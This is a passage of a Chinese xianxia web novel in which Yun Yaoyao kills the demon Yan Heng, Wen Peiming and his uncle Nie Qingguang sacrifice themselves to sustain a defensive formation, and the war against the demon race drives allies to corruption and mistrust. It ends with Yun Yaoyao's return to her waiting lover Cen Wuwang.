晏珩的背刚触碰到剑阵,便被灼烧的刺痛感便让他不得不退回原位,直面云杳窈挥出的问心剑意。 在识海中很难让他们感受到具体的时间与方位,如此缠斗,不知过了多久,或许是一瞬,或 许是一天。 云杳窈的神魂光华略显黯淡,她终究不像晏珩那般,完全将肉身摒弃,以魔气固魂,魂魄离体太久,对云杳窈而言亦是一种煎熬。 “太难缠了。”晏珩见云杳窈久久不肯罢休,戾气更盛。 他猛地将魔剑插入脚下虚无,双手结印:“以吾分魂为引,祭拜魔神。破!” 轰隆—— 整个识海剧烈震荡,那些原本只是抽取魂力的猩红丝线骤然变得漆黑,下一刻,无数由闻佩鸣痛苦记忆与负面情绪融合的魔气沿着丝线疯狂涌出,尖啸着扑向云杳窈。 它们所化形态各异,皆是闻佩鸣内心恐惧的投射,密密麻麻,几乎填满了整个空间。 云杳窈顿时压力倍增,她挥洒问心剑意,清冽剑光护住周身,每一剑都能斩灭无数魔气所化恶兽,但晏珩不死,魔气无穷无尽,斩之不绝。 “师姐……” 识海传来闻佩鸣极其微弱,却带着一丝焦急的呼唤,他的气息更加衰弱了。 云杳窈意识到不能再与晏珩这么缠斗下去了。她忽然放弃所有防御,灵气凝聚,尽数汇入手中剑。 剑身光芒暴涨,竟发出阵阵龙吟般的清越剑鸣。 “晏珩,今日我便同你做个了断。” 她无视周遭扑来的万千魔气,无视它们割开的道道伤口,以身合剑,人剑合一,化作一道仿佛能穿越万古的纯粹剑意。 这一剑,蕴含着云杳窈灵气的巅峰战意,同时也是亘古未有的一剑,舍身忘我,直指晏珩魂魄。 晏珩咬牙嘶吼,感受到了那剑中浩荡的灵气,全力催动魔气,拨雪化作一柄缠绕着无数冤魂的巨刃,带着不死不休的决心悍然劈向云杳窈。 两人都不再回避,极致的力量对撞,胜负生死只在一瞬。 然而,就在这千钧一发之际,一直艰难维系着最后清明,与体内魔气及外部阵法双重对抗的闻佩鸣,猛地睁开了眼睛。 他发出一声嘶哑的咆哮,用尽残存的所有意志,强行操纵那些本是晏珩用来控制他,抽取他力量的猩红丝线,猛地反向缠绕而上,想要牵扯他的行动。 这反抗微弱得可怜,甚至没有多少灵气能够任由他顺势反扑,这对于全盛时期的晏珩不痛不痒,不足为惧。 但在此刻,在闻佩鸣全力迎击云杳窈舍身一剑的瞬间,这一丝微不足道的牵制,让晏珩心魔反噬。 闻佩鸣本就是晏珩分出的一律魂魄,两股魂力相撞,必然会产生波动。 晏珩的动作出现了一刹那极其细微的凝滞,随之出现了一丝几乎无法察觉的偏差和力道衰减。 然而这对于云杳窈而言,一刹那的凝滞与偏差已然足够。问心剑意擦着魔刃的边缘掠过,穿透了那一闪即逝的缝隙,将这一剑狠狠刺入晏珩身体。 一息间,问心彻底洞穿了晏珩胸膛。 时间仿佛在这一刻静止。 晏珩骤然僵住,难以置信地低头,看着胸口那道剑伤。漆黑的魔气如同决堤的洪流,从他体内疯狂溃散涌出,发出亿万冤魂哀嚎般的凄厉尖啸。 云杳窈手都在颤抖,但她仍然强令自己保持冷静,顺着这一剑的优势,不给晏珩任何自愈反击的机会。 鉴义铺天盖地围了过来,云杳窈单手掐诀,点燃周遭无数承载着着灵族先民祝愿与力量的丝线。 灵火一字诀再起。 “燃!” 晏珩的魂体开始寸寸碎裂,如同被阳光照射的冬雪,遇春而化。 “君上,救我,救救我。” 云杳窈酣战许久,魂魄身形比方才透明了许多。 她看着魂魄即将崩散的晏珩,还有些难以置信,她眼神复杂难明,可最终只是归于一片沉寂的淡漠:“晏珩,就算是死,你也难以赎清所犯罪孽。” 晏珩最后的目光一寸寸冷了下去,他感受着力量和魔气的流逝,他的死亡即将到来,而且这一次无法逆转。 他只能静静的被绝望一点点吞噬。 在确认了云杳窈的无情后,他的目光从祈求逐渐变成怨毒。 他很快便注意到了因耗尽力量而萎顿在地,气息奄奄的闻佩鸣,又死死盯住云杳窈,碎裂的脸上竟挤出一抹极其古怪扭曲、意味难明的笑意,随即问她:“你很在意我分身的生死吗?明明我们是同一抹魂魄,他不过是个窃取了闻佩鸣的身体,鸠占鹊巢的残魂,为什么你宁愿不计前嫌,顾惜他的性命,也不肯看看我呢?” 云杳窈胸口起伏不定,她喘着气回答道:“不,你们根本不是一个人,从他决定开启千肆蜃影抵御魔族时,他就只是他自己,并非你的傀儡。” 轰! 毫无预兆,晏珩魔魂彻底爆散成漫天翻涌的黑雾,但云杳窈很快便反应过来,化剑抵御,识海之内,滔天魔氛为之一清,压抑顿消,可也死寂沉沉。 那些困住闻佩鸣的猩红丝线纷纷断裂,最后化作虚无,归于尘埃。 云杳窈尽力想要避免晏珩的魔气再次损伤闻佩鸣岌岌可危的识海,可还是低估了他同归于尽的决心。 在风卷残云的狂风过后,云杳窈本体一震,睁开双眼,脸色苍白如纸,猛地咳出一口鲜血,气息瞬间萎靡下去。 但她立刻强撑着,目光急切地投向情况更危急的闻佩鸣。 闻佩鸣周身那些丝线束缚已然消失无踪,他无力地软倒在棋盘边,脸色灰败,呼吸微弱得几乎察觉不到,仿佛下一刻就要散去。 棋盘之上,那原本与白子纠缠厮杀的黑子,并未消散。 晏珩已死,可魔族还阴魂不散。 剑灵重新化为人形,问心刚闻佩鸣用尽力气推着问心:“聂清光,快去把聂清光找过来。” 见他一副随时都要咽气的模样,云杳窈也负伤倒地,问心不禁有些犹豫,直到他再吐一口气,无力捶打催促着她:“去啊,快去啊!” 这才让问心丢下他们两个,往城门口去。 待聂清光连滚带爬赶过来,扑倒在闻佩鸣身侧时,他已经只有出气没有进气了。 死到临头,他连吐血的力气都没有,只知道紧紧抓住聂清光的手,含糊着说。 “聂师叔。” 是了,闻佩鸣何其敏锐,他早已识破聂清光拙劣的演技,也根本无法忽视他落在自己身上的怜悯目光。 所以,他早就暗中调查清楚了聂清光的过往。 顺藤摸瓜,闻佩鸣很自然的知晓了自己的身世。 其实也不对,并非他的身世,而是被他这个残魂占据的可怜孩子的身世。 闻佩鸣,原本是聂清光师姐的孩子。 其实他自己也知道,他只是晏珩不得已的备选,是一条不到万不得已不会去走的退路。 从始至终,他都是真正的孤魂野鬼,无亲无友,亦无爱。 就连“闻佩鸣”这个名字,都是窃取了本该属于别人的东西。 真正的闻佩鸣,从被接入阁中换骨移魂时,便已经死了。 可是他不能告诉聂清光,或许是残存的贪念让他无法拒绝最后的温情,或许是他确实还有利用聂清光的心思。 总之,他这个假货撒了人生中最后一个谎言。 “师叔,我终于……终于要和我的父母团聚了。” 一直埋藏在聂清光心底的愧疚再也止不住,他失声痛哭,连胜道歉:“孩子,对不起,我既不能护住师姐,让你没能有个完整的家,又不能护住你。你怨我吧,是我无能,我是废物。” 几十年来,聂清光都不知道师姐的孩子没有死,更不知道同门将他送往襄华边陲小镇有何深意。 他以为是自己时运不济,是自己不得师兄师姐们喜爱,更无力在照渊阁保全自身,直到那日偶然和闻佩鸣重逢,方才逐渐揭开当年真相一角,回了南荒后,才循迹找出一切缘由。 阁主的威严他无法反抗,饱尝生离死别后又惊觉一切都太晚。 “为何,为何上天如此不公。”聂清光紧紧将闻佩鸣抱在怀中,想要将自身灵气输送给他却发现他的识海早已满目疮痍,根本留存不住灵气。 闻佩鸣还没安心闭眼,定然 是有重要的话要说。 聂清光压住哽咽,俯身侧耳倾听。 “师叔,我知晓自己性情顽劣,本不是个讨喜的人,这世上根本没有人在意我,连你也只是可怜我。” “可是这世上怎么可能有人,是因为可怜而生出喜爱。” “你只是爱屋及乌,对不对?” 闻佩鸣紧紧揪住聂清光的袖子,就像是要把他的心也一同捏碎带走。 哪怕真相如此,到了这个地步,聂清光也只顾摇头。 “不是,不是的,你是个好孩子,即便没有前尘因果,我也会喜欢你,照顾你。你不要多想,云掌门在这里,她一定有办法救你。” 说着,聂清光就要起身:“我给她磕头,我余生都给她当牛做马,我求她救你。” “来不及了。”闻佩鸣虚弱咳嗽了几声,这回他感觉自己的喉管都已经破了,气流无法抵达肺腑,经脉灵气无法流通,他的身体已经开始僵硬。 “师叔,魔族之患还未平,南荒仍在水深火热之中,可是我已经无法维持法阵运转了。” “我这辈子没能得父母疼爱,临了只求师叔疼疼我,替我坐镇阁中,把握权衡与千肆蜃影局,给我师姐一个喘息疗伤的机会,只有她才能救南荒。” 闻佩鸣越说越急,甚至咬到了自己的舌头。 聂清光做了一辈子的缩头乌龟,可只有他继承了陈氏阵法绝学,也只有他才能为阵法续命。 “师叔!”闻佩鸣肝胆欲裂,枯竭的眼眶竟然真心实意沁出些湿润。“此事迫在眉睫,若南荒诸城全数沦陷,会诞生不知多少悲剧,又会有多少孩子流离失所,一生无所倚靠。师叔,想到这儿,我死都不能瞑目啊!” “求求你,看在母亲的面子上,救救我的师姐,救救南荒吧。” 眼泪打在聂清光的手背上,终于唤起了点聂清光的血性,他抹了把脸,终于答应下来。 “好,我答应你。哪怕豁出这条性命,我也替你们再争取一日时间。” 第106章 千肆蜃影阵再度焕发出异样光亮,聂清光与闻佩鸣两代照渊阁阵修中的佼佼者,舍身与阵法相融。 巨大的损耗几乎瞬间就抽干了他们身上的生气,肉身遭到反噬,即刻化为齑粉,归于天地流尘。 两道魂魄借阵法之势,顷刻间缩地千里,移步落地后各自占据东西两边界,死守在河的南岸。 太河划分两岸,他们会是最后一道结界。 如若前往镇压魔族的诸多北境联军竭身亡,仍不能阻止魔族吞并南荒的脚步,至少能够将魔族拦在北境之外,为北境诸多宗门世家争取反击时间。 权衡疯狂左右摇摆,魔族是无法轻易被杀死的,而且他们还能感染道心不稳之人,吞并北境修者的力量。 所有的反抗都只是缓兵之计。 云杳窈带着问心,提剑入阵,借助千肆蜃影的空间转换,稳稳落于混战中的风熄城。 一剑斩断为首魔族小头领的手臂。 断臂被灵气灼烧,灵火沿着伤口迅速向上攀爬,一息间便将这个小头领烧成焦炭。 余烬被风吹散,先是露出一柄映着硝烟与灵火的锋利灵剑,而后便是那张眉头紧压着眼,眼底仿若燃着烈火的严肃面容。 剑光余波挥退了最前方的一众魔族。 云杳窈甩了甩剑尖未曾消退的烟火,缓缓抬眼,定睛看向前方的魔众,传声给已经显露出颓势的风熄城众修士。 “魔秽侵扰众生,为祸此间数千年,今日北境诸多义士舍身忘死,不止是为将来史书上的功名几句,更是为了身后同胞,为了心中道义。” “此战不休,剑影不止。血债,当以血偿。” “诸君,且随我,剑指魔军,以血证道心。” 话音才落,问心剑的火光再度亮起。 自云杳窈身后,诸多道剑光齐发,成百上千的剑意在风熄城半空刮起罡风,共同向着魔族刮去。 燎原灵火迅速舔舐整片魔族大军,这阵中一角的局势很快扭转。 不过魔族也并非那么好消灭掉的。 灵火固然有奇效,可能够发动灵火的人却并不多,能够借力领众人剑指一处的人更是寥寥无几。 云杳窈即便是不眠不休,也无法休止战事,只能不断逼退,等待下一波魔潮的降临。 除此之外,还有不断被同化的修士,堕魔往往仅需一刹那,可带来的损失却是普通魔族的几倍。 他们会毫无征兆发动杀意。 刚开始还在云杳窈带领下取得几次胜利北境联军,很快便在随时可能上演的背叛与无穷无尽的厮杀中感到身心俱疲。 而魔族,最擅长趁虚而入。 煎熬、绝望、麻木逐渐侵蚀每一个人。 朝为同袍,夕做伥鬼。 利刃不仅会杀掉面目可憎的敌人,也有可能贯穿曾经共同浴血奋战的同伴。 “真仪!你看看我,我是翠微啊,你快醒醒。” 明明是魔潮退去后的难得安宁时刻,宝剑碰撞声却再度响起。 明明是携手相伴的挚友,竟也到了刀剑相向的地步。 魔化后的赵真仪获得了远比自身更加强大的力量,她翻转手腕,手中剑向前压去,任凭心中的恶意滋长。 “我当然知道你是谁。” 翠微眉头轻微松懈,虽然对方的攻势仍旧紧迫,可她还是抱有一丝希望。 “你痛吗,是被魔族伤到后感染了吗?我带你去找云掌门,你再坚持坚持。” 周围的人却不管她的坚持,在注意到赵真仪身上的魔气后,将她们二人团团围住。 “翠微仙子,快离她远点,她已经入魔了。” 天元峰弟子此话一出,几乎是当即宣布了赵真仪无可救药,成了弃子。 “不。”剑身已经在颤抖,可翠微眼神坚定,她的手腕已经因为两力抗衡而发酸发麻,如同百蚁啃噬,让她咬牙切齿。 “她还记得我,她还是赵真仪,只是暂时被魔气蛊惑了而已,我能……” 岂料,还未等满头冷汗的修士们再次警告她,已被魔化的赵真仪突然低声同眼前人道:“都这么久了,还不明白吗?根本不需要伤口污染,魔存在于每一个角落里,比鬼更加无孔不入,只要有欲望,人人都可以堕魔。” 她的眼睛定定看向翠微,勾魂摄魄。 “你凭什么呢?明明你是靠着我才有机会拜入乾阳宗,那就乖乖听我的话,在我身边呆一辈子好了,为什么要和别人那么好呢,明明赵家给你的,我给你的已经足够多了,你这么贪心的人,欲望只会比我更多,不如和我一起堕魔,继续做我的小跟班,我还护着你,好不好?” 赵真仪还像从前一般,擅自替翠微做了决定。 一缕魔气顺势钻入翠微的眼中,翠微眼神一暗,手腕脱力,被赵真仪没有及时收回的剑意伤到。 剑刃刮过脸颊,一道细长的伤口迅速出现在翠微的脸上。 伤口出现了好一会儿,血才不慌不忙顺着脸颊流淌下来,像是一缕遗落在她脸上的红线。 血线不深却很长从眼角蔓延到唇角,丝丝缕缕的血顺着伤口汇集,又静静顺着脸侧流淌下来,乍一看像是血泪似的。 明明 她没有哭。 赵真仪眼神微动,手下意识想要摸上翠微的脸颊,可是身后凌冽的寒光却骤然劈向她的后背。 毫不掩饰的杀气让赵真仪汗毛直立,可是下一秒,这种濒临死亡的紧张立刻被兴奋替代。 翠微握剑的手重新抬起,恢宏剑气与那股剑气相撞,爆发出足以撼动人心肺的震击。 最开始入魔的时候,理智并不会完全丧失,就像是身陷泥沼一般,欲望会清晰而坚定地吞噬人的一切。 那么翠微的欲望是什么呢? 应该是杀欲或者愤怒吧,赵真仪猜测,毕竟翠微为了修行,不断讨好她,忍了她颐指气使这么多年,怎么可能会不动杀心? 赵真仪握紧剑柄,已经不在乎能不能拉其他人入魔了,她只想和翠微堂堂正正打一场。 “总算不用让我了,翠微,咱们早就该这么杀个你死我活了。” 说出这句话的时候,微麻的电流扫过赵真仪头顶的每一根头发,她甚至觉得有种前所未有的痛快。 还没打都这么爽了,就算这回死在对方手里,她也无憾了。 不过虽然是这么个理,赵真仪还是迅速想了好几种逃离这里的办法。 想绞杀魔族何其不易,云杳窈此时不在这里,一时半刻无暇顾及这里的异动,只有她能够完全消灭魔族。 她只要在一盏茶内离开这里就好,哪怕抛弃身体,灵魂也能夺舍再生。 想到这里,赵真仪挥剑向前,想要以此逼翠微动手。 可奇怪的是,翠微只是侧身躲开她的剑意,从始至终都是一副防守姿态,任凭赵真仪怎么言语激怒,她都无动于衷。 “你这个蠢货,才刚刚入魔,连剑都忘了怎么用,真是白做这么多年检修了。” “退退退,就知道退,靠着我才能攀上乾阳宗,转头另寻高枝的时候怎么没想过退让。” 赵真仪一边要抵抗其余修士,一边还要寻找机会刺激翠微,她很快就头脑昏沉,魔气已经侵蚀了她的身心,连她手上的剑都开始出现斑斑锈迹。 “你……你瞧不起谁呢!”赵真仪恶狠狠道,她已经推翻了先前的猜测,“你入魔的理由不是杀欲,不是愤怒,那是什么?” 赵真仪太过疲倦,心中执念让她忘记了自身处境。 即便是获得了比先前强大数倍的力量,可这里仍是风熄城内。 一盏茶的时间早就过了。 周围的空气不知道什么时候悄然发烫,赵真仪的骂声突然停止,她意识到,这种源自灵魂的灼烧感绝不寻常。 周围的修士已经退到安全距离。 灵火,已经悄然包围了她们。 剑光携火,威压足以让赵真仪失声尖叫。 可是在她求救前,已经有人将她护在身后,就像是每一个魔族为了堕魔时那个念头一样奋不顾身。 翠微顺从了自己堕魔时的念头,她的确心有不甘,的确心有怨恨。 而这些恶念确实和赵真仪息息相关,不过却并不是因为嫉恨赵真仪。 赵真仪所在的赵氏并非本家,她不过是旁支里一个无关紧要的小辈,在襄华内做个富贵小姐还可任性妄为,可来到天才如云的乾阳宗,也只是无名小辈。 从一开始,想要进入乾阳宗扬名立万的人,就不是翠微,而是她。 翠微替赵真仪的不甘而不甘,也因她们的无名而怨恨。 她以为勤加练习,与诸多前辈交际来往,会让别人高看她们一眼,可是却误将彼此越推越远。 明明身为挚友,她们的野心和方向是一致的,可为什么渐行渐远? 翠微死都没明白。 “啊!!!” 尖啸穿透整座风熄城。 赵真仪顾不得灵火,伸手去抓翠微,却只抓住她的衣角。 从方才迅速被她蛊惑入魔,到化为余烬,翠微都没说一个字。 她想说什么呢?她为什么不说呢? 赵真仪有些茫然无措。 是她的愤怒再次将翠微的声音压下,所以她才没有说话吗? 可是翠微应该告诉她的啊。 终于,在烈焰焚烧中,赵真仪听见翠微说出了入魔以来的第一句话,也是临别前的最后一句话。 “真仪,我保护你。” 第107章 灵火很快就蔓延到赵真仪的身上,或许是翠微的话让她神思恍惚,她几乎没有感受到任何**上的痛苦,只感觉灵魂一阵轻盈,脱离了沉重的爱恨,迅速向下滑落。 赵真仪没有被黑暗吞没,十几岁的翠微在前方冲她招手,见她愣在原地半天,跑过来牵起她的手。 脚步带动脚步,赵真仪听见翠微解释道:“哎呀,没有不等你,我去前面替你探路而已,你不是说要和我做一辈子朋友吗?我怎么可能不站在你这边,别生气啦,前面有糖,我给你买来赔罪,好不好?” 赵真仪想起来了,这里是她们未上山前的城池,正值元宵佳节,城内张灯结彩。 春日未至,赵真仪穿着厚重的裘衣,刚刚埋怨翠微跑太快,一会儿就瞧不见人影了。 这里人这么多,要是走散了可怎么办。 可是翠微总能找到她,她们穿行在汹涌的人潮中,灯笼的红光将她们的身心都照得暖烘烘的,赵真仪忽然想不到刚才发生了什么。 她好像是和翠微单方面吵了几句,赌气不想去乾阳宗了,想要打道回府,所以翠微又来哄她。 可是赵真仪又觉得不太对劲,这一次,为什么会让她心生恐惧。 “翠微。”赵真仪喊道。 好友鲜妍年轻的脸扭过来,她仍在拽着赵真仪的手,从始至终都没有放开。 “怎么了?” 赵真仪欲言又止,有一块被浸湿的棉花堵在她的喉咙里,让她一时难以开口。 “你说我们下辈子,还会是朋友吗?” “不知道哎。”翠微说,不过她很快就改口,“没事,就算暂时不是朋友,我也会去找你的,缘分嘛,哪是那么容易就斩断的。” “那要是找不到呢?”赵真仪问。 “那就继续找啊。” “那要是还找不到呢?” “那就一直找啊。” “万一一直找不到呢?” 翠微忽然停下来,她举起两人相握的手,晃了晃:“怎么会找不到呢?我一直都站在你身边。” 越过灯火和人群,她们走到了桥上,回身望去,满城摧残灯火。 似要将这天边都燃尽一般。 火光映红了半边天,又随着魔气的消失而落下。 云杳窈有些疲惫,不过她并没有责怪这里的人为什么没有对两个入魔的修士下手。 她喊出天元峰弟子,嘱咐道:“检查这里所有的人。” 她则收剑归鞘,静养体内灵气,等待结果。 很显然,云杳窈这是要清扫入魔的修士。 幸而这里暂时没有第三个入魔的修士,她刚要提剑离去,只听见一名少年喊住了她:“云掌门。” 云杳窈回头,见到来人的脸,反应了一会儿,才想起这是乾阳宗的弟子孟裕斓,从前跟着花在溪下山历练过,后来幸免于宗门之祸,又被赶鸭子上架来到了南荒。 乾阳宗剩余弟子,几乎全部加入了此次北境联军。 无论愿意与否,以他们在北地的处境,都很难说一个不字。 晏珩在屠杀宗门后,又将他们这些侥幸存活的人推上风口浪尖。 要与晏珩割席,与魔族割席,最好的办法就是南下以剑证心。 天地之大,竟没有这些少年的立足之地,以至于他们仓皇去往嵘烬山,又匆匆高举旗帜,踏入南荒战场。 然而晏珩既便死去,也并没有消除他在众人中的阴影。联军中的修士对他们多加揣测,本家的义士也连带着有所忌惮,只模糊说等待他们建功立业,荣耀归乡的那日。 可战火越旺,归期渺茫,这也只是个暂时的安慰罢了,一旦魔气聚起,他们连后背都不敢交付给乾阳宗弟子。 云杳窈知道乾阳宗众人的处境艰难,所以即便时间紧迫,她还是停下来,示意孟裕斓继续说。 所有人,都在看着孟裕斓,有的人甚至将手默默放在剑上,随时准备拔剑。 孟裕斓心中酸楚,无法诉说,只是问云杳窈:“敢问云掌门,你在集结联军南下前,可曾预料到今日的局面?战事持续了几个月了,可是我们只能勉强维持住防守线,可是灵气有耗尽的哪一日,人也有懈怠的时刻。” “今日死的是我的两位同门师妹,往前,第一个被魔化,死在同盟剑下的,是我的同门师兄段佑。他们之间还隔了许多北境修士,有的是乾阳宗的,有的与我素未蒙谋面,可是我 们的人一直在减少。” “人人都吧我们当作叛徒,可今日我也不得不清醒着做一回叛徒了,云掌门,你说句实话,祸端到底能不能被消除?你究竟是不是在让我们做无谓的牺牲?假使我等仍旧奋勇杀敌,能不能将魔族拦截在太河以南?” 孟裕斓朝着云杳窈步步紧逼,众人的利刃早就架在他的脖子上,有些已经陷入脆弱的颈肉中,随时有割喉见血的风险。 云杳窈站在原地,寸步不退,任凭孟裕斓发疯 “天下第一的无情剑是晏珩,你曾是晏珩的弟子,青出于蓝而胜于蓝啊!你才是真的无情,同门在我眼前接连死去,我恨不能以身相随,你却能看着那么多人死在你前面,无动于衷!” “你才确实悟到了无情剑的真谛,你和晏珩一样无情,你杀同类时甚至连眼睛都不眨一下!” 联军中同为泽饶孟氏的修士怒喝:“孟裕斓,你发哪门子邪火?快向云掌门道歉!” “你们不敢说,我敢说!你们连怕都不敢承认,我却敢为了求真犯险。”孟裕斓吼到浑身颤抖,他涕泪横流,眼睛里爬满了红血丝,“我不要送死,我也不要让我的同门白白牺牲,我不可能为了一个根本不可能的希望去迷信她。” “你……你这是说的什么胡话,妄念太杂,这是要入魔了啊。”有人怕动摇军心,干脆打算一句话将孟裕斓钉死。 这下,连刚才的修士都沉默了。 只有孟裕斓仍在说:“我没有入魔,我很清醒,如果我有任何入魔征兆,不必等你们来杀,为着孟氏荣耀,为了乾阳宗的荣光,我也第一个撞剑而死。” “可是你呢?云掌门,你与晏珩多番交手,本就是最该被天元峰弟子疗愈检查的那个,可你至今都是唯一一个没有经过查验的人,你有没有入魔征兆,经不经得起检验?” “亲眼见证了这么多生离死别,你却毫无痛苦,正常人怎么会那么自如,怎么会那么熟稔,实在不像是个活生生的人类。” “魔族是你发现的,联军是你要集结的,魔族未见颓势,我们的人越来越少,你却仍固执己见,要我们死守在这里,这一切怎么会……” 云杳窈打断孟裕斓:“你怀疑我入魔,拿你们给魔军做养分?” 联军中不会只有孟裕斓这么揣测,但只有他敢这么直接质问出来。 疑心一旦升起,便很难消散。云杳窈不给任何人继续往下延伸的机会,断然否认:“我不会入魔,你有撞剑而死的志气,焉知我没有为天下自焚的勇气?” “那你证明啊!天元峰都是你的人,”孟裕斓说,“敢不敢在此将你的伤口展示出来,让大家都看看有没有魔气。” 云杳窈气笑了,她讥讽道:“我就是敢示众人前,有人敢过来为我解甲褪去衣衫吗?” 她说着,甚至坦然张开两臂,身体微微前倾。 众人默不作声,云杳窈才道:“你们不敢,你孟裕斓也不敢。你们根本承担不起我入魔的代价,因为假设一旦成立,莫说南荒与你们,整个世界,都会是我的戏场。没人会在意提线木偶的想法,我又何必大费周章作戏哄你们。” 刚才指出孟裕斓有走火入魔风险的修士立刻补充道:“我相信云掌门,此子断不可留,若是因偏执入魔,恐为一害,不如云掌门送他一程。” 孟氏族人立刻道:“不可!他仍是联军一员,尚未入魔,若是不入魔也能轻易打杀,那来日所有人都可以此构陷他人,这种风气绝不能起,还请云掌门将他遣回北境,断了他的念想也好。” 众人为他的生死争执不休,孟裕斓却真的好似木偶一般,垂首呆立在原地。 云杳窈叹了口气:“徐清来等人在涟波城连战半月,也到了该轮换休整的时刻了,让她们带着你暂且退居太河线,待脑子清醒些了,再回来继续作战。” 云杳窈是当之无愧的话事人,此话一出,无人再敢起争议。 她刚要离去,往西方向的城池继续行进,却听见孟裕斓幽幽道。 “你害怕失去什么吗?我们一直在失去,而你,似乎什么也没失去,但也讨不到什么好处。你已经是襄华人人称颂的神女,为什么还要搅南荒这趟混水,守着嵘烬山不好吗?为什么要去乾阳宗,为什么要南下?” 孟裕斓还真是个死脑筋。 云杳窈没有正面回答,她并没有取得无情剑的真谛,也不可能无动于衷。 她只是太熟悉这些目之所及的悲怆,已经茫然过一次,所以这回才显得游刃有余。 云杳窈轮回百世,也做不到无情。 可她还是给了个近乎冷酷的回答。 “我只怕悲剧重演。为了天下众生,为了世间和平,为了人间盛景繁华还能继续,谁都可以牺牲,我可以,你可以,任何人都不会是例外。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 【终章】 第108章 再逢冬日,今年的雪额外迟些,南荒冷重而湿润的冬日空气充斥着肺腑。 河面未曾结成坚冰,渡河的船只不断来往。 徐清来再次因伤从前线退居太河防守线,在此审查去往北境的船只。 不过这一次,她已经不得不跟随船只返回北境。 徐家需要她,云杳窈也需要她的帮助。 九月发生了两件大事,其一发生在月初,在内外动荡中,南荒当月接连沦陷三城。 风熄城失守后,云杳窈便令北境增派援手,强制安排其余诸城子民渡河北上。 而面临流亡的南荒子民人数众多,并非一宗一姓能够接纳。 即便是襄华主动表示,愿意接纳四成流民,但剩下的也是大问题。 南荒诸城本就是北境的流放者与逃亡者建成,太河不仅划分南北,还分割了世仇。 这中间的曲折,本就不是能够轻易划分干净的,有些人甚至宁可死守南荒其余城池,也不愿回到先祖故土。 若徐家能够做出表率,南北交融的局势可能会顺利些。 徐清来将手头的事务交接完毕,上了去往北境的最后一艘船,船只刚刚离岸,便听见天际一声巨响。 青天白日,轰隆雷鸣震天撼地,响彻整片大陆。 自天外传来的威压震慑了所有生灵,虫鸣停止,风声不再,连水流都停滞了一瞬。 紧接着,黑云在南荒上空升起,孟裕斓道:“这时候降临雷劫,难道是……” 可是他转念否定了这个可能:“不对,云掌门已经突破了返璞境界,应该不会接连遭遇雷劫。” 这便是九月发生的另一件大事,云杳窈为夺回沦陷城池,强开自身所设禁制,成了当世唯一的返璞境界。 可她的实力其实远超返璞境界,自境界突破后,便有天地异象。 云杳窈突破境界后带来的灵气余波,不仅帮助南荒再次压制了来势汹汹的魔军,而且惠及了身在南荒的诸多修者。 有人甚至趁此机缘,直接突破了一个小境界。 徐清来指尖挥动,想要以灵力传信。 可是她多次运转体内灵气,却发现经脉中的灵气像是被封住了一般,无法随心使用。 不止是徐清来,船上还有许多人也发现了这一点。 所有人的灵力都无法使用,就连冬风都未曾吹倒的南岸常青树,都呈现出枯萎姿态。 万物失灵,而天地唯有两股力量仍在抗衡。 “这是怎么回事?”孟裕斓不可置信,“难不成所有人的修为都要在今日消失殆尽?” 一席话激起千层浪,船上人心惶惶。 徐清来喝道:“肃静。” 她瞥了一眼孟裕斓,对方也知道自己方才慌乱之下口不择言,差点引起恐慌躁动。 “不是消失了,只是被暂时封存,不要惊慌,我们很快就会到达北境,有三阳门的修士们接应,必然不会出大问题,我们要做的,就是各司其职,引导 南荒民众在北境安居乐业,少生事端。” 这艘船上多为幸存的北境联军,长期的作战已经让他们变得麻木疲惫。 虽身不似槁木,可心已经如同历经寒冬,再难有多少生机。 北境,似乎也是一片严冬。 往后接连七日,上至应天,下至入化,所有境界的修士都无法使用灵力,不少人还因此闹出笑话。 没有办法御剑飞行,便只能以凡人的方式行进。 没有办法用灵气御寒,有些下山的修士只能紧急购置冬衣和炭火。 而这七日,也被称之为灵寂期。 除却天际不断的雷鸣,还有足以劈山开河的剑气,所有的灵气都如同回归到了上古时代,最原始最安宁的时候。 七日后,雷鸣息止。 浩荡清气重现世间,此间灵气再度充沛起来,就连魔气都消散不见。 太河平静无波,升起浓雾,再无战火与哀鸣传来。 这团雾气裹挟着至纯的灵气,与涛涛太河之水共生共存,彻底将两岸分割开来。 正值新年降临,北境诸多地区都挂起红灯彩帐,重现闹市与爆竹,一切似乎都在随着佳节气氛变得红火起来。 所有人都以为,魔族之乱已经迎来了结局,曾在襄华平定了邬盈侯之乱的云杳窈又一次平定了南荒这场魔族之祸。 各大酒楼茶馆开始讲起了云杳窈的戏本,从幼时的平凡出身,到年少的爱恨纠葛,以及她这一世无法忽视的功绩,事无巨细,被人绘声绘色重复讲解。 无人知晓仙人飞升之时的壮景,便有人添油加醋,传出了许多版本。 甚至连云杳窈在仙庭的职务都能讲得一清二楚,有理有据。 直到除夕之夜,有人踩着太河自迷雾深处而来。 北岸瞭望塔上的修士还以为是魔族来犯,慌忙升起烟火让全城警戒。 可那人凝冰踏雪,如履平地,周身气息平和稳重,甚至没人能看出她的境界。 等她真正落地北境,修士们才看清她的真面目。 云杳窈扫了一眼巍峨的城门,没有张口,以灵气传声:“不必惊慌,战事平息,新年将至,诸位可以安心了。” 说罢,她没有等待城门开启,御剑而行,直接往嵘烬山方向飞去。 冬夜的风撩拨云杳窈的长袍,吹散她的长发,然而她都不在意。 经过山门大阵时,禁制也只是微微晃动,无法阻止她前行。 这天地之间已经没有什么东西能够阻止云杳窈的脚步,她不顾一切往前奔跑,就是为了日思夜想的爱人。 逢朽生椿的门窗紧闭,云杳窈降落在浮岛的时候,看见岑无望坐在廊下,任凭满月清辉倾洒一身。 听见脚步声,岑无望才仰头,循着声音来处,轻声道:“两岸音书俱断,经冬复历春,我还以为今年等不到你了。” 云杳窈单膝跪在他身前,捧住岑无望的脸仔细端详。 眼神空洞,不知冷暖,就连气息都很微弱。 岑无望像是一只漂浮在天地间的幽魂,如此固执地留在门前,等待云杳窈遵守诺言。 灵族的君王与伴生小君受灵树庇佑,死前不必经历天人五衰,只会逐渐化为灵体,回到她们诞生的地方。 岑无望的五感已经接连消散,却仍旧保持着年少时的如玉面容,沧海桑田,不曾改变。 这是一种镌刻在骨血中的执着,他不知疲倦的追逐着云杳窈的轮回,期盼某一次的擦肩而过时,她能够停驻脚步,与他再续前缘。 诸天真神若是真的侧耳倾听,必会听见他满心满眼的祈愿,皆与他甘愿倾尽一生去追随的明主、至死不渝的爱人、形影相随的妹妹有关。 自灵树倾倒,灵族覆灭,岑无望便失去了真正的喉舌。 他能够轻易模仿万物的声音,以音掌控灵力,可是最初,他也只是想守在卫英台,在每个日月交替的时刻为灵君献上一段吟唱。 